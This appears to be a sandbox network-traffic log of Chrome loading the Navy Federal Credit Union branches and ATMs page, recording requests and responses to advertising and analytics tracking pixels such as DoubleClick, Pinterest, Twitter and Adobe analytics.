75 61 2d Data Ascii: document-policy: force-load-at-toppermissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.6	50172	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	938	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:20 UTC	4594	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"14254804866385504212"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:19 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.6	50173	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	998	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "2775054c068b37509e0798448f7fd32c" If-Modified-Since: Mon, 20 May 2024 07:02:14 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUYBSgDMgsI9qCM7sGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:20 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:14 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 04:52:22 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 4792ba662c3860029a9df33f3dc5f36c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: -zR1rWl1dK1VuHcZ8m3z2rSxVJS4Ymm3QxJsGQTKMqxY0okZtNssZQ== Age: 64439

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.6	50177	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	987	OUT	GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=SZvKJIhCHPwBR9E8&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815430 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	576	IN	HTTP/1.1 302 Found Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 1 Content-Type: image/gif Location: https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=291116a4-3ed1-4243-8e5e-92574127ce52&ona= X-Cloud-Trace-Context: 9158ff09d15f62eeeeae7c0f50193dbd Date: Fri, 24 May 2024 22:46:19 GMT Server: Google Frontend Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.6	50178	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	987	OUT	GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=KreBfevQqGi6c3kE&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815430 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	576	IN	HTTP/1.1 302 Found Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 1 Content-Type: image/gif Location: https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&ona= X-Cloud-Trace-Context: 051f9945175bd4e7b97f5c79ecdc4d4a Date: Fri, 24 May 2024 22:46:20 GMT Server: Google Frontend Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.6	50181	63.140.39.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	4099	OUT	GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s38309634341966?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A16%205%20240&sdid=70343B24F90FE0B6-3CEBE931959AA0ED&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Abranches-atms&g=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Abranches-atms&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Ahome&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Abranches-atms&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A15&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D37%20%7C%20initialPercentViewed%3D37% [TRUNCATED] Host: analytics.navyfederal.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion [TRUNCATED]
2024-05-24 22:46:20 UTC	731	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:46:20 GMT expires: Thu, 23 May 2024 22:46:20 GMT last-modified: Sat, 25 May 2024 22:46:20 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:46 GMT; etag: 3686350630391906304-4618484354390441393 vary: * content-type: image/gif;charset=utf-8 content-length: 43 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:46:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 02 00 02 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 02 00 02 00 00 02 02 84 51 00 3b Data Ascii: GIF89a!,Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.6	50180	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	605	OUT	GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZjeEVJWlZVYXcwRVowVGdiWmNKMFBrcjQ4NU9Iek9zWmxDS0lyYnNzY0FpUFl2UGFEZUdBUVVpRW1MMmxrUk54Q1hBUlROLytKb1JDTEVoYkhja2xqSkI0MXErUzZTZlNLWDYvTHBXTGNVST0mWGdYU0hNZUNVNDVHUURoUndNcW01TVdmbGFFPQ=="
2024-05-24 22:46:20 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:20 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZMVGxBNlN3TVhJL0ZNcWFHc0NCc2pLSm9mbUhFYjhUN2d3OGR6UWxWSWdhUjRJUDZqZFZJcEhucktQNHRqcmE2V3gyeUh1Y0EzZ2p5c1RNYkExZUprakZTaFJKemlyWWtMTTU3TlJiQ0xBdz0mSFJManVHL0Z5NVRwT3o2L05qNFlFUlpOamh3PQ=="; Expires=Sat, 24 May 2025 22:46:20 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 1608506748494739 Date: Fri, 24 May 2024 22:46:20 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: b5901f219bb3b9de79ce62fb7d9d7ff8817dc3ff
2024-05-24 22:46:20 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.6	50179	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	620	OUT	GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZjeEVJWlZVYXcwRVowVGdiWmNKMFBrcjQ4NU9Iek9zWmxDS0lyYnNzY0FpUFl2UGFEZUdBUVVpRW1MMmxrUk54Q1hBUlROLytKb1JDTEVoYkhja2xqSkI0MXErUzZTZlNLWDYvTHBXTGNVST0mWGdYU0hNZUNVNDVHUURoUndNcW01TVdmbGFFPQ=="
2024-05-24 22:46:20 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:20 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZKaUswQUZTVUc4NjhjSExoc3l5Qm15SEhCb2psVnVLVmV6ejIxLzdicDZabFp1Mmg3MHNmUWFqbDJVVHNPK3JrM2ZYbm5Dc2tkS3AwMnlRRWVqTU5jRXlSVC9iMENCeUVDYzh0Rlo4dHFSUT0mbVdEYnU4VkZqeUpZbVJJR2kyaWEzbTYyK01FPQ=="; Expires=Sat, 24 May 2025 22:46:20 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 5 referrer-policy: origin x-pinterest-rid: 1406632200729612 Date: Fri, 24 May 2024 22:46:20 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:20 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.6	50185	3.141.243.186	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	732	OUT	GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=425240&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:20 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 190b713d-69b2-453e-88ce-846ffa6e713b Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:20 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.6	50186	3.141.243.186	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	732	OUT	GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=309707&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:20 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 69c59a3c-e6a6-4caf-8cfe-18809158620d Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:20 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.6	50182	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	992	OUT	GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:20 UTC	394	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:20 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 0ce82a780c4faca6 strict-transport-security: max-age=0 x-response-time: 124 x-connection-hash: 4645b49d24bb550cc576719cea42876bc952edb9ce69e6ebe183497569b79d71 connection: close
2024-05-24 22:46:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.6	50187	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	1129	OUT	GET /i/adsct?bci=5&eci=2&event_id=e8e79cdc-f35b-4395-943d-144463250bb1&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:20 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:20 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 429767d7c6a4e55e strict-transport-security: max-age=631138519 x-response-time: 5 x-connection-hash: 760cc9eb1139e7621eeefb55d734724627c6a5803a36b075ab97f7215f7e6c96 connection: close
2024-05-24 22:46:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.6	50188	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:20 UTC	2627	OUT	GET /v3/pr?exlist=n-xr-HMT_n-id-HMT_n-eq-HMT3_n-ix-HMT_n-y-HMT_n-cx-HMT_n-telaria_imdb_n-lucid_n-samba.tv_n-rb-HMT3_adb_mp_af_n-sk_n-mediarithmics_n-lm-HMT3_index_n-kg-HMT_an_n-pm-HMT_rb_nsln_nd_n-ym-HMT_n-ox-hmt_tbl_ns_bsw_bk_n-dm2-HMT_gem_fw_n-fo-HMT_n-kr-new_n-bsw-hmt_n-st-HMT1_n-fw-HMT1_adelphic_g_kr_n-comscr.com_ox_n-tl-HMT_n-semasio-ecm_n-gg-HMT2_n-g-hmt_n-ispot_pm&fv=1.0&a=cm&ex-pl-n-kr-new=kPjPVzcpSpSWqX-qFhnPog&dmt=3&ex-pl-n-g-hmt=NhMAxWQXQXCpVGBgov47lA&ep=ttam_T219Ay-cPciHbT10qLgVOIEbsMYXWypcOsaQyZQ5vTh8iP9aEddoDR7b0Fw0f8pWSQN1-GMZyp4NBCbsL-dXZSua1n_XD13GuVxHmj2ErOUng2G4bPzEE4Htz6_C2MBKRFtY3Fukg87MoO5HYYYxQh378Q6P8tc6G1_asTyAew0UU43AmFqODjkM_L6lYL79EiyLzWBd54ntaxYAAjA23r3zw3DMFacaErdGD-JW5etUkCNCz4fpGoT24iKbgllyoDhSBpsx6W1xSSlGyaiIrLKkbD_UPc6KDfeOtD2l6sTFwmlFN32gib43ydbDLEhDcJQ1DWf0RFvJVEBaN5mDSZrR1w6JDUhPZpvLM7fJBQn9V3OhBMBaKJwtHIIfoQUYVoua4dvuFW3WMJSjt2KzV6uGM13OcRhJgSk03Gk-Qjvnv782zM3m8AveeAY1HXi1bMCqkm668Ow-e-MAmwvkGdciYDX2ogZ0v1yU7g197z6GtxYdITQ